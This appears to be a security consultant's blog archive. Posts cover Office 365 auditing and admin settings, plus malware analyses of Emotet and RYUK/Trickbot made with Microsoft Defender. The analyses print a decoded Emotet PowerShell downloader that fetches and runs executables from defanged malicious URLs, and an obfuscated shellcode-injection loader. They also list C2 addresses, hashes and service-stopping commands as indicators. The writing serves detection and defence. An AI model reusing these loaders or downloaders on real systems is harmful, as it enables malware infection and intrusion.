Author Archives: jstocker

Deploying MailItemsAccessed Audit Event in Office 365

MailItemsAccessed is a new audit event in Office 365 that records when email data is accessed by mail protocols and clients.

Why is MailItemsAccessed so important?

During an investigation where a mailbox has been accessed by an unauthorized party, there are often legal requirements (State, Federal and Global Treaties such as GDPR) to notify individuals if their personally identifiable information was accessed. Without MailItemsAccessed we could only say that the attacker had the capability of accessing all mailbox contents, but we couldn’t say which exact emails were accessed. The sync event is still not as definitive as we would like, but it does show that the attacker now has possession of the mailbox contents. If the attacker accessed the mailbox via a web browser, then it’s helpful to know which individual items were accessed.

If a privileged account was compromised, it’s also a good idea to check whether the attacker enabled the Bypass audit log PowerShell command to cover their tracks.

For more details, see Access to crucial events for investigations.

How does MailItemsAccessed compare to MessageBind?

MailItemsAccessed replaces the audit event ‘MessageBind’ which was deprecated in Exchange Online on 1/23/2019. This audit event began rolling out in Q1 2020 after a 12 month pause from the first announcement in January 2019. Tony Redmond has documented the history of this rollout on his blog, with his latest post on March 6, 2020 (here).

MessageBind was only available for the AuditAdmin user logon type and did not record actions performed by the Mailbox Owner or Delegate. MessageBind only covered actions by a mail client and did not record sync activities. MessageBind also generated multiple audit records for the same email message. MailItemsAccessed fixes all these deficiencies.

MailItemsAccessed applies to all logon types (Owner, Admin and Delegate)

MailItemsAccessed applies to both an individual email being read in addition to a ‘sync’ event such as MAPI, POP or IMAP downloading all email in a client.

MailItemsAccessed aggregates multiple events into fewer audit records.

Licensing

Office E5 or (M365 E3 + “E5 Compliance” add-on)

One question that is often asked is: “If I buy just one license, does this enable the capability for all users.” The answer is no. Only users with the appropriate license will have the MailItemsAccessed logged.

Deployment

MailItemsAccessed is only enabled by default when the E5 feature “Microsoft 365 Advanced Auditing” license has been applied to the account.

clip_image002

(In PowerShell the auditing license will appear as “M365_ADVANCED_AUDITING”).

To find out how many of your current mailboxes are logging the MailItemsAccessed event run this Exchange Online PowerShell command:

get-mailbox -ResultSize unlimited | where {$_.AuditOwner -like ‘*Accessed*’}

Note: See troubleshooting section if you have the right license and MailItemsAccessed is still not appearing.

Prior to 2/1/2019, Mailbox Owner auditing only logged a single event by default: MailboxLogin. After 2/1/2019, additional events were added unless auditing had been customized. If you customized the mailbox actions to audit for any logon type before mailbox auditing on by default was enabled in your organization, the customized settings are preserved on the mailbox and aren’t overwritten by the default mailbox actions that were since added. The exception to this rule seems to be with MailItemsAccessed because it was appended to the E5 mailboxes that had been set to use customized audit events.

To reset auditing to defaults you can run use the DefaultAuditSet parameter, which is generally recommended because according to the documentation “Any new mailbox actions that are released by Microsoft are automatically added to the list of audited actions for the logon type.”

Set-Mailbox -Identity (mailbox identity) –DefaultAuditSet Admin,Delegate,Owner

If you want to find out the mailboxes that have the default auditing enabled, run this command and look for “Admin, Delegate, Owner.” The absence of one of these means that audit customizations was applied to that mailbox.

get-mailbox | select name,DefaultAuditSet

clip_image004

For example, in the screen shot above (1) means that all three roles were customized and (2) means only the Owner was customized because it is absent from the list.

Note: DefaultAuditSet does not audit all possible audit events. It will audit the following seven events (or eight when an E5 license is applied to the mailbox)

1. Update

2. MoveToDeletedItems

3. SoftDelete

4. HardDelete

5. UpdateFolderPermissions

6. UpdateInboxRules

7. UpdateCalendarDelegation

8. MailItemsAccessed (<- THIS IS ONLY ADDED IF AN E5 License is applied to the mailbox)

For a list of the defaults see the documentation (here).

The following three events can be added as additional audit events for the Owner logon type:

1. Create

2. MailboxLogin

3. Move

Therefore, to apply all 11 possible audit events, run this command:

get-mailbox -ResultSize unlimited | set-mailbox -AuditOwner @{Add= “Update”,”MoveToDeletedItems”,”SoftDelete”,”HardDelete”,”UpdateFolderPermissions”,”UpdateInboxRules”,”UpdateCalendarDelegation”,”Create”,”MailboxLogin”,”Move”,”MailItemsAccessed”}

Repeat above command and swap out AuditOwner for AuditDelegate and AuditAdmin but remember to check the table (here) because not all audit events are available for Admin

Note: A user with full mailbox access to another user’s mailbox is logged as AuditDelegate.

Searching Audit Events

You can search for MailItemsAccessed events in Protection.office.com

image

Compliance.microsoft.com will eventually replace Protection.office.com.

image

You can also use Exchange Online PowerShell to search for audit events, which is required if you need to search for events older than 90 days. Search-UnifiedAuditLog -Operations MailItemsAccessed or Search-MailboxAuditLog -Operations MailItemsAccessed

Other useful Exchange Online PowerShell commands:

View which events are being logged on a single mailbox (“Joe”)

get-mailbox joe | select -ExpandProperty auditadmin

get-mailbox joe | select -ExpandProperty auditowner

get-mailbox joe | select -ExpandProperty auditdelegate

Report how many accounts have auditing enabled:

get-mailbox | group-object AuditEnabled

Enable auditing on all mailboxes and increase audit log retention from 90 days to 180 days:

get-mailbox -resultsize unlimited | set-mailbox -AuditEnabled $true -AuditLogAgeLimit 180

Audit Log retention is independent of whether or not a retention policy (aka Legal hold) is applied to the mailbox. For example, if a mailbox is under legal hold, the audit events are not retained longer than the duration set by the AuditLogAgeLimit parameter.

If you increase the age beyond 90 days, you can only find those items in PowerShell using Search-MailboxAuditLog.

The following capacity limitations apply to mailbox auditing:

– No more than 3 million audit records are allowed per mailbox

– No more than 30 GB of audit records are allowed per mailbox (100GB if legal hold or retention policy has been applied to the mailbox)

– Tony also states in his blog “Exchange Online applies throttling for MailItemsAccessed events. If a mailbox generates more than 1,000 bind events in a 24-hour period, Exchange Online stops recording MailItemsAccessed events for bind operations for another 24 hours before resuming capture of these events. Microsoft says that less than 1% of mailboxes are subject to throttling.”

Troubleshooting

Assume you have a mailbox where MailItemsAccessed is not applied, but the mailbox has an E5 license.

clip_image010

You then try to add the audit event but you get an error that its only available for users with the appropriate license.

clip_image012

Double-check to see that you have the “Microsoft 365 Advanced Auditing” license type assigned.

clip_image013

Note: In my case, even though the box was checked, it did not work because this license assignment was inherited from an Azure AD P1 feature called Group-based licensing. So to work-around this bug, I directly assigned the license via PowerShell (since I couldn’t via the GUI since the checkbox was already selected) and that allowed the MailItemsAccessed to be applied.

clip_image015

$MSOLSKU = “(tenantname):ENTERPRISEPREMIUM”

$myO365Sku1 = New-MsolLicenseOptions -AccountSkuId $MSOLSKU

Set-MsolUserLicense -UserPrincipalName (username) -LicenseOptions $myO365Sku1

Clear Teams Cached Credentials

Today (2/3/2020) MS Teams is experiencing an outage.

In our testing we were able to get back into teams by clearing the Teams cached credentials from Credential Manager.

To do this, search for “Credential Manager” in your Windows 10 search bar.

Choose “Windows Credentials”

Then remove all the “msteams” credentials and reboot.

Emotet Analysis

This blog post is an informal analysis of Emotet and how Microsoft security solutions detect it.

Disclaimer: Do not try this on your own unless you know what you are doing (even if you know what you are doing – I accept no responsibility for your actions – this is an educational blog post meant to educate on the dangers of Emotet and what defenses are effective at blocking it!).

Lab Setup:

Machine 1 = Microsoft Windows 10 1809 with the standard free built-in Defender antivirus.

Machine 2 = Microsoft Windows 10 1809 with the Microsoft Defender Advanced Threat Protection (MDATP)

Machine 1 (Free Windows Antivirus)

Smart Screen immediately detected the website hosting Emotet:


After ignoring the warning, I got another warning when trying to download the file.


I had to go into the downloads and choose “download file anyway.”

Finally, I was able to save it to the desktop and launch it on Machine 1.

Inside the document, a message tells the user to Enable Editing and Enable content…


After clicking Enable Content, I am asked to translate this document – or “Never for Russian.” HA! That should be a warning enough!

Sample 1 Sample 2 Sample 3
Sample 4 Sample 5 Sample 6
anytvvyj37x.exe Y19kqh1qzpi.exe

Before proceeding further, let’s look at what the Macro would do. Intense obfuscation going in in this code, with the word Process being truncated:


It’s clear from analyzing this that the first recommendation is to disable Macros from running from Office documents. These obfuscation techniques would be very difficult to block. Download a copy of the Macro for analysis (here).

After clicking Enable Editing we get yet another warning. Only the most sadistic user would have clicked past this many warnings without stopping to ask their IT Dept for help, right?


A PowerShell appeared and then disappeared.

Suddenly a file “305.exe” appears in the %userprofile% directory


Finally, a few minutes later, we get a pop-up that Emotet!MTB is found:


Machine 2

As soon as I copied the file to Machine 2, Microsoft MDATP immediately detected and blocked the threat.


Within a few seconds the file was quarantined and removed.

Therefore, to observe what happens within MDATP, I disabled real-time protection.

Here are some observations of what MDATP detected using its Endpoint Detection and Response (EDR) capabilities:

Launching one of the Word documents:

  1. wmiprvse.exe -secured -Embedding Powershell -w hidden -en (base-64 encoded command)

    This encoded command was decoded as follows:
    $Jbjdmrkf=’Wvxojjxy’;$Kqzvqjcdbdk = ‘306’;$Gxduocdjcjt=’Bkfkbofippczt’;$Mbkmoong=$env:userprofile+’\’+$Kqzvqjcdbdk+’.exe’;$Uefczpcdfixo=’Rqdkzmydmwtwf’;$Iybnpytfapm=&(‘new’+’-ob’+’jec’+’t’) neT.webcLIEnt;$Dqsynahyyvxl=‘https://sandiegohomevalues[DOT]com/engl/4de-kzsyhu-768611/*https://www.wenkawang[DOT]com/data/bofze0s-7ji4-15/*https://www.bruidsfotograaf-utrecht[DOT]com/wp-includes/QLvFLy/*http://ma.jopedu[DOT]com/img/8z8dl-3xn-655019278/*http://pay.jopedu[DOT]com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/’.”S`PLIT”(‘*’);$Avvhkoyer=’Zgzbdzymy’;foreach($Rcrndqfmfme in $Dqsynahyyvxl){try{$Iybnpytfapm.”dO`WnloaDf`Ile”($Rcrndqfmfme, $Mbkmoong);$Ptiuqrijdklve=’Hwhsmlzs’;If ((&(‘G’+’et-Item’) $Mbkmoong).”Len`gTh” -ge 30309) {[Diagnostics.Process]::”s`TarT”($Mbkmoong);$Lstxssia=’Ypyhvhhw’;break;$Vnasbffmoq=’Cmgqpgssndib’}}catch{}}$Ilrervzhi=’Bvnmvmpadnlb’

  2. MDATP then observed the creation of a file 306.exe.
    Note: Since this incremented from the last time (305.exe observed earlier, we assume this variant has been run at least 300 prior times).
  3. Pretty nice how MDATP interfaces decodes the PowerShell on the fly:

Launching file: “y19kqh1qzpi.exe”

  1. Created file: C:\ProgramData\cvxgdfade.sxcase
  2. Emotet grabbed the clipboard data

  1. A service was created for persistence:
    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\plainsetthe
    The description it gave itself for evasion was “Windows infrastructure service that controls which background tasks can run on the system.”
    But it is really running this executable:

    “C:\windows\SysWOW64\plainsetthe.exe”

  2. Attempted to communicate with IPs:
    154.120.227.206:8080
    190.217.1.149:80
  3. MDATP EDR detected plainsetthe.exe as Trojan:Win32/Tiggre!plock by Antivirus
  4. MDATP EDR detected cvxgdfade.sxcase as Trojan:Win32/Emotet.PI!MTB by Antivirus
  5. svchost.exe -k wsappx -p -s ClipSVC
  6. “backgroundTaskHost.exe” -ServerName:App.AppXemn3t55segp7q92mwd35v2a5rk5mvwyz.mca

Summary

The native Windows Defender AV did a good job, but it was especially effective when combined with Microsoft Edge SmartScreen. Based on this experience, I would recommend standardizing on browsers that use SmartScreen.

The advanced MDATP upgrade provided incredible visibility and insight into exactly what was happening to the file system, registry, processes, and network communication. See my previous blog post on MDATP best practices to lock it down even further.

If you are running Office 365 ProPlus Click-To-Run, it would be a good idea to disable Macros at the website config.office.com (Many people don’t realize that Office 365 ProPlus will download configuration from the config.office.com website every time an Office application launches). As an IT Admin, you can create policy to prevent Macros from the internet from launching on PC’s as an extra safeguard.

Another new feature, Safe Docs, is an Office 365 E5 feature that uses ATP SafeAttachments sandboxing to sandbox any Office document – which is helpful because in these cases the malicious documents were downloaded from internet websites.

Here is the MITRE Attack visualizing Emotet + Trickbot + Ransomware

Download TripleThreat MITRE JSON then upload it into Attack Navigator to create your own visualizations.

IOCs

[Raw Analysis can be downloaded to .CSV here]

  • 154.120.227.206:8080
    190.217.1.149:80
  • cvxgdfade.sxcase
  • plainsetthe.exe
  • 305.exe (Incremented to 306.exe on the next run)
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\plainsetthe
  • y19kqh1qzpi.exe
  • ‘https://sandiegohomevalues[DOT]com/engl/4de-kzsyhu-768611/*
  • https://www.wenkawang[DOT]com/data/bofze0s-7ji4-15/*
  • https://www.bruidsfotograaf-utrecht[DOT]com/wp-includes/QLvFLy/*
  • http://ma.jopedu[DOT]com/img/8z8dl-3xn-655019278/*
  • http://pay.jopedu[DOT]com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

RYUK Ransomware and Trickbot Analysis

This blog post is an informal analysis of RYUK ransomware (MITRE T1486) and Trickbot. There have already been many professional write-ups on RYUK, including FireEye, CrowdStrike, Malwarebytes, Cyberreason, and CheckPoint. In the last 90 days, RYUK has been detected in 14 States across the USA and has been labeled the “Threat of the Quarter” by Center of Internet Security. Internationally, the Mexican state-owned petroleum company Pemex was recently infected by RYUK, along with businesses in Spain and around the world. Just do a search for RYUK in the news for the last 30 days and you’ll find dozens of victims including 110 nursing homes, 400 hospitals, several state and local government – it’s a major crisis.

Many of the organizations that have been hit with RYUK did not ‘threat model’ against APT groups, and it’s a rather unfair fight – like an NFL team beating up on your local high school football team, or a military using laser weapons against a civilian population using pitch forks. According to Coveware, the average RYUK ransom payment is $300,000 USD, and RYUK has earned an estimated 4 million dollars in the last 90 days.

I obtained a copy of RYUK from an infected customer and then used the MDATP Evaluation Lab to examine RYUK behavior. I also obtained a copy of Trickbot for analysis from this website (here).

It was helpful to detonate these two samples separately because it can be confusing to know when one starts and the other ends.

The MDATP evaluation lab recorded every process, registry change, file creation and network communication. I’ve uploaded the reports for download here:

  • Download RYUK_MDATPAnalysis.csv file (here)
  • Download Trickbot_MDATPAnalysis.csv file (here)

My first impression was – this is incredibly complicated. To understand RYUK, you really need a deep understanding of Trickbot (There are two great posts analyzing the behavior (here) and (here). This is because, in the wild, RYUK uses a dropper such as Trickbot or Emotet to disable AV, maintain persistence, steal Chrome & IE Passwords, distribute Ryuk ransomware executable files via Group Policy, and PSEXEC. RYUK by itself is immediately detected by Defender Antivirus as TrojanDropper:PowerShell/Ploty.H and Trojan:Win32/Tiggre!plock which is why it relies upon something like Trickbot or Emotet to disable AV. Crowdstrike reported (here) earlier this month that RYUK has evolved to send wake-on-lan packets to wake up computers that have been shut down.

Trickbot infections can remain undetected for weeks or months until the attackers determine whether or not the victim is worthwhile pursuing according to reporting by Ars Technica. In some cases, the deployment of RYUK is just a diversion to draw attention away from banking/SWIFT transaction fraud.

Trickbot’s initial infiltration uses phishing attachments (like Microsoft Word and Excel) and RDP. Cyberreason observed that Emotet can bring Trickbot into an environment, which can then bring RYUK in.

Trickbot modified the Registry to disable Antivirus. Distribution occurred via PSEXEC and Group Policy Startup, Login, Logoff, and Shutdown scripts. RYUK spread via Group Policy in the attacks against the State of Louisiana as reported by Ars Technica (here), and is therefore similar to how BitPaymer is known to spread via group policy.

Azure ATP detected three lateral movement techniques: Pass-the-ticket, RDP, and SMB file copies to domain controller shares.

There were 5 days between the first Pass-the-ticket to the coordinated distribution of ransomware via Group Policy.

A limited number of target machines performed C2 communication to a single IP address: 160.20.147.91. I suspect this was Trickbot C&C because when RYUK was isolated in a VM by itself, it performed encryption without any external C2 communication. A new Trickbot C&C command “yvjlQIh.exe 8 LAN” was observed (The executable is always random). Other C&C commands have been documented by Fortinet here.

Interesting cleanup command was observed:

rundll32.exe C:\WINDOWS\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:411042507 WinX:0 WinY:0 IEFrame:0000000000000000

PowerShell was encapsulated by Base64 then compressed with GZIP. This GZIP encapsulation ended up being a great way to identify the suspicious PowerShell.

Here is an example:

cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c “if([IntPtr]::Size -eq 4){$b=’powershell.exe’}else{$b=$env:windir+’\syswow64\WindowsPowerShell\v1.0\powershell.exe’};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments=’-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(”a string containing commands”))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))’;$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle=’Hidden’;$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);”

 

Note: The same command above was embedded as a Windows Service here:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\

 

To collect a list of all PowerShell commands using GZIP, the following MDATP Advanced Hunting Query can be used (this sample was submitted to the MDATP GitHub Library here).

    ProcessCreationEvents

    | where EventTime > ago(30d)

    | where ProcessCommandLine has “System.IO.Compression.GzipStream

    | project EventTime, ComputerName, InitiatingProcessFileName, FileName, ProcessCommandLine, MachineId, ReportId

   
 

To decompile the GZIP I modified Marcus Gelderman’s PowerShell Script from GitHub (here) to include an additional step to decode Base64.

$import
=
import-csv
gzip-evidence.csv

foreach ($payload
in
$import)

{


$b=[System.Convert]::FromBase64String($payload.Payload)


$decompressedByteArray
=
Get-DecompressedByteArray
-byteArray
$b


Write-Host
“Decoded: “ ( $enc.GetString( $decompressedByteArray ) |
Out-String )>>
output.txt

 

}

 

Here is an example of the decoded PowerShell command. Notice each function and parameter is randomized to evade EDR and ML solutions looking for static function strings. However, when I saved this as a TXT file, MDATP instantly recognized it as unsafe and removed the file.

function zQ8wa {

    Param ($al, $ppXta)       

    $qgFCK = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(‘\\’)[-1].Equals(‘System.dll’) }).GetType(‘Microsoft.Win32.UnsafeNativeMethods’)

   

    return $qgFCK.GetMethod(‘GetProcAddress’, [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qgFCK.GetMethod(‘GetModuleHandle’)).Invoke($null, @($al)))), $ppXta))

}

 

function cFG {

    Param (

        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gM,

        [Parameter(Position = 1)] [Type] $a40 = [Void]

    )

   

    $zGRY = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘ReflectedDelegate’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(‘InMemoryModule’, $false).DefineType(‘MyDelegateType’, ‘Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate])

    $zGRY.DefineConstructor(‘RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $gM).SetImplementationFlags(‘Runtime, Managed’)

    $zGRY.DefineMethod(‘Invoke’, ‘Public, HideBySig, NewSlot, Virtual’, $a40, $gM).SetImplementationFlags(‘Runtime, Managed’)

   

    return $zGRY.CreateType()

}

 

[Byte[]]$eakcC = [System.Convert]::FromBase64String(“(removed to not uniquely identify client)”)

       

$cDahn = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll VirtualAlloc), (cFG @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $eakcC.Length,0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($eakcC, 0, $cDahn, $eakcC.length)

 

$oez = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll CreateThread), (cFG @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cDahn,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll WaitForSingleObject), (cFG @([IntPtr], [Int32]))).Invoke($oez,0xffffffff) | Out-Null

 

When isolated by itself, RYUK executed the following commands in the MDATP evaluation lab:

“net.exe” stop “vmickvpexchange” /y
conhost.exe 0xffffffff -ForceV1
net1 stop “vmickvpexchange” /y
“net.exe” stop “sacsvr” /y
net1 stop “sacsvr” /y
“net.exe” stop “samss” /y
net1 stop “samss” /y

About a minute after running RYUK, the ransom page was shown:


Mitigations

For customers who use Microsoft Defender, they can enable the new Anti-Tampering feature to prevent AV from being disabled. Corporate customers can use Intune to make it even harder to disable the Anti-Tampering feature, since it abstracts the ability to turn it off to a separate cloud based management interface (otherwise if the on-premises domain admin is compromised, Anti-Tampering would (Requirements: Windows 10 E5 license, Intune, and Windows 10 1903 or higher).

Microsoft Attack Surface Reduction rules would prevent PSEXEC from launching.

If you are a Microsoft shop, see my other blog article (here) on MDATP best practices for other recommendations.

Attribution

RYUK has historically been attributed to Lazarus Group, or as FireEye suggests, a dedicated unit APT38 but it could have been shared with a cybercrime group in Russia since the update from June 2019 blacklists the ransomware from infecting Russia. McAfee and CrowdStrike have both indicated possible Russian connections because of this black list. Researchers are sharply divided on attribution, but it is worth noting that reports have previously circulated about APT38 inserting Russian language into code as a false flag. Either way, it’s commonly accepted that nation-states and major cybercrime threat actors have access to RYUK. Some have speculated that RYUK may be sold as ransomware-as-a-service on the Dark Web but I haven’t seen much evidence supporting this.

The United Nations Security Council report states that North Korea is illegally generating revenue through cyberattacks to circumvent UN resolutions (page 52).

Insurance Considerations

For businesses that do not have cybersecurity insurance, check with your insurance company if “Business Interruption Insurance” will cover the ransomware attack since the servers are down and therefore interrupting business.

IOCs

  • V1.exe
  • V2.exe
  • 160.20.147.91
  • RyukReadMe.html
  • PSEXESVC.exe
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware\1
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PSEXESVC
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\
  • (Many others – check the

    RYUK_MDATPAnalysis.csv and Trickbot_MDATPAnalysis.csv files for more)

     

Hash MD5

    9baf7ea6d780bf8f45db0a3ce23cc3d5

d898182c48a80cf43c4d730d07f12713

Hash SHA1

    89f7dad23e4dd64e80894d4448aa796b8c11f2bc

58713f34eef264d067c6bc694ab7e1b63a260be8

17027688118a848129388a03904f98227e93d100 (as of 11/26/19 still not in Virus Total)

Hash SHA256

3abec9fd1183e0c97992414f342b787236125064f9934df5a1d68d4d6c148870

d22cad2d94b9a39c8b51c88a6d3f6dd9ce6f85ee7915e89daa657b16cb26f70b

MDATP Best Practices

    • Why? The first step in many APT attacks is to use a ‘Dropper’ to disable Antivirus or other security settings via the registry, PowerShell, GPO, etc.
    • This is a Microsoft Defender feature that does not require Windows 10 E5, but if you have E5 then you can leverage Intune to prevent the user from disabling this feature. The benefit of requiring Intune is that it abstracts the ability to disable antivirus to a separate management stack. Otherwise the attacker could use several methods of disabling AV. This advanced feature requires Windows 1903 or higher.
    • Using Intune Device Profiles:
    • Create a profile that includes the following settings:
    • Platform: Windows 10 and later
    • ProfileType: Endpoint protection
    • Settings > Windows Defender Security Center > Tamper Protection
    • ASR Rules are a feature of Windows 10 E3 and Windows 10 E5. The E5 version adds two unique rules that are not available in the E3 version.
    • ASR rules can be enabled without MDATP, but the benefit of using MDATP is the centralized reporting, otherwise the audits would be decentralized in the local event viewer.
    • ASR Rules are branded as part of “Microsoft Defender Exploit Guard” which is a series of Windows 10 security features including Controlled Folder Access, Exploit Protection, and Network Protection.
    • Some of the ASR rules require cloud-delivered protection to be enabled. Read the ASR documentation page to identify important caveats before enabling ASR.
    • The ASR Rule “Executables that don’t meet a prevalence, age, or trusted list criteria” examines .exe, .dll, .scr to determine if they are in a whitelist that MSFT maintains, and there is no way to add exclusions, so we recommend setting this rule to Audit mode.
    • In Intune, navigate to Device configuration – Profiles > Profile name > Endpoint Protection > Microsoft Defender Exploit Guard > Attack Surface Reduction.
      • I recommend enabling them all to Block or Enable with the exception of “Executables that don’t meet a prevalence, age, or trusted list criteria” (Set that one to Audit mode)
    • This is a series of configuration items that submit a new executable or script to cloud. Block at first sight only uses the cloud protection backend for executable files and non-portable executable files that are downloaded from the Internet, or that originate from the Internet zone
    • You can configure this using Intune, SCCM, or Group Policy.
    • In Intune, navigate to Device configuration – Profiles > Profile name > Device restrictions > Windows Defender Antivirus.
      • Cloud-delivered protection: Enable
      • File Blocking Level: High
      • Time extension for file scanning by the cloud: 50
      • Prompt users before sample submission: Send all data without prompting
      • Submit samples consent: Send all samples automatically
  • Enable MDATP Sample sharing for all files
    • In Intune, navigate to Device configuration – Profiles > Profile name > Microsoft Defender ATP (Windows 10) > Sample sharing for all files > Enable
    • In Intune, navigate to Device configuration – Profiles > Profile name > Microsoft Defender ATP (Windows 10) > Expedite telemetry reporting frequency > Enable
    • Create a Role Group in MDATP Settings > Permissions > Roles (select a group)
    • Create a MDATP machine group, set it to all machines, and assign it to Full – Remediate threats automatically
    • Enable Automated Investigation in MDATP Settings > Advanced Features
    • Enable *all* of the MDATP Settings > Advanced Features (or as many as you are licensed for, ex: Azure ATP, Intune, MCAS, etc).
  • Block Manual Intune Unenrollment
    • In Intune, navigate to Device configuration – Profiles > Profile name > Device Restrictions > General > Manual unenrollment > Block
    • In Intune, navigate to Device configuration – Profiles > Profile name > Device Restrictions > General > Direct Memory Access > Enabled
    • Network protection expands the scope of Windows Defender SmartScreen to block all outbound HTTP(s) traffic that attempts to connect to low-reputation sources (based on the domain or hostname).
    • Network Protection is branded as part of “Microsoft Defender Exploit Guard” which is a series of Windows 10 security features including Controlled Folder Access, Exploit Protection, and ASR rules.
    • Network Protection can be enabled without MDATP, but the benefit of using MDATP is the centralized reporting, otherwise the audits would be decentralized in the local event viewer.
    • In Intune, navigate to Device configuration – Profiles > Profile name > Endpoint Protection > Microsoft Defender Exploit Guard > Network Filtering > Network Protection
  • Enable SmartScreen
    • Already Built-in to Microsoft Edge (and Chromium-Edge)
    • “Windows Defender Browser Protection” is available as an add-in to Chrome (here)
  • Block Macros (config.office.com)
    • Disable Trust Bar Notification for unsigned application add-ins and block them
    • Disable all Trust Bar notifications for security issues
    • VBA Macro Notification Settings: Enable with “Disable without Notification”
    • Disable VBA for Office applications
    • Block macros from running in Office files from the Internet
      • To avoid problems with users who need valid/trusted Macros, you can enable two additional settings:
        • Allow Trusted Locations on the network
          • Lock down the NTFS and/or Share Permissions to only allow authorized users (admins?) from adding Macros to this path (Ask each Department to provide Macros for review)
        • Trusted Location #1 (through #20)
          • This is where you can specify the network path of where the authorized Macros can run from

I will be updating this blog periodically as I encounter additional settings that are particularly helpful for blocking threats.

Disclaimer: This is for educational purposes only, you assume all risk for testing these in your lab first before deploying to production.

Azure AD Connect Deletion Scare

On September 10th, 2019, Microsoft released Azure AD Connect v1.4.

Customers that had configured their Azure AD Connect for auto-upgrade are now experiencing rolling upgrades, which can cause mass deletion of devices from Azure AD. One of my clients contacted me today after receiving a rather alarming and unsettling email about several hundred objects being deleted:

Their question to me was: “This is very concerning. Should I be worried or no?

My immediate response was “Call me ASAP!” – as I thought that someone had restructured their organizational units in Active Directory, which is a common cause of mass deletion of objects from Azure AD. As I waited for the remote sharing invite to arrive in m y inbox, I began formulating my plan: identify the OU that changed, go into AAD Connect and start syncing that OU again, and then on next full sync, it would restore all the soft deleted objects. I’ve done this before, so I was expecting to bring this issue to closure quickly… or so I thought.

After further investigation, we couldn’t find any evidence of OU changes. In fact, this customer followed best practice by not performing OU filtering (which avoids the problem of OU changes causing mass deletes).

Puzzled, I noticed that in the AAD Synchronization Service, the first instance of the mass delete event occurred as part of a FULL Sync. “Aha!” – I thought to myself, a full sync can only occur when a human is involved, so let’s track down who did this and have a chat. If left unprovoked, AAD Connect only runs Delta syncs every 30 minutes.

We quickly ruled out human involvement, as there was no evidence of any recent interactive logon.

The next thought that came to mind was a feature of AD Connect, called Auto Upgrade. We checked the Control Panel > Programs and noticed that AAD Connect was updated today. Aha! .. But why would the upgrade cause a mass deletion?

We then looked at the Azure AD release notes and noticed this explanation:

With this version of Azure AD Connect some customers may see some or all of their Windows devices disappear from Azure AD. This is not a cause for concern, as these device identities are not used by Azure AD during conditional access authorization. For more information see Understanding Azure AD Connect 1.4.xx.x device disappearnce

Then scrolling down to the Fixed Issues section we saw:

“Fixed a bug where non-Windows 10 computers were syncing unexpectedly. Note that the effect of this change is that non-Windows-10 computers that were previously synced will now be deleted. This does not affect any features as the sync of Windows computers is only used for Hybrid Azure AD domain join, which only works for Windows-10 devices.”

Fascinating. So this explained why we saw 900 objects attempt to be deleted, and upon verification, they were Windows 7 objects, and Windows Server objects.

SURPRISE…

Azure AD Connect will not permit more than 500 objects to be deleted, so that is why the warning email was sent. We surmised that the proper thing to do was to remove the deletion protection mechanism otherwise the AAD Connect would perpetually remain in an error-status, unable to delete all these devices itself.

So we ran these three PowerShell Commands on the AAD Connect Server:

Disable-ADSyncExportDeletionThreshold

Then we started a full sync:

start-adsyncsynccycle -policytype Initial

Then after watching the deletion finish in the Synchronization Service GUI tool, we re-enabled the deletion threshold:

Enable-ADSyncExportDeletionThreshold -DeletionThreshold 500.

Reference: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sync-feature-prevent-accidental-deletes

Hopefully this helps! More information about this issue can be found here:

https://docs.microsoft.com/en-us/azure/active-directory/hybrid/reference-connect-device-disappearance

Microsoft Resets Office 365 external cloud storage preferences

Important Announcement from Microsoft on 7/31/19 to all Office 365 customers. Beginning 8/15/19, Microsoft will enable a new setting that allows all Office 365 users to send data to their personal cloud storage accounts (Google Drive, Facebook, Consumer OneDrive, etc). This will take effect even if you had disabled a similar setting in the past. Here is the new command to turn this off.

 

Here is the email all Office 365 administrators should have received relating to this roadmap ID 52597

‪The old way of hardening will no longer work using these cmds: set-owamailboxpolicy -DropboxAttachmentsEnabled $false -BoxAttachmentsEnabled -GoogleDriveAttachmentsEnabled $false -ThirdPartyAttachmentsEnabled $false‬

This is not the first time Microsoft has changed the default settings or experience which has a security / governance impact.

Like it or not – Guest Sharing now includes your Privacy Policy – or LACK of Policy

